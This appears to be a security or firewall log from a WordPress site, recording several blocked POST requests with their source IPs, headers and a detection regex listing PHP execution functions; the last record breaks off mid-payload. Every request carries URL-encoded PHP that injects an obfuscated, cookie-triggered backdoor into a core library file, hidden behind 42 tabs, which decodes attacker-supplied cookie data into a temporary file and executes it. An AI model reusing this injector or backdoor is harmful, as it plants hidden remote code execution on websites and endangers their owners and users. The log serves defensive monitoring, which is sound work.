3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nPG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:44:04","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGKbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4349\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nupgrade-insecure-requests:1\n\nMz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:44:32","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:4349\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nMn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:44:52","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\naccept:*\/*\ncontent-length:4372\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%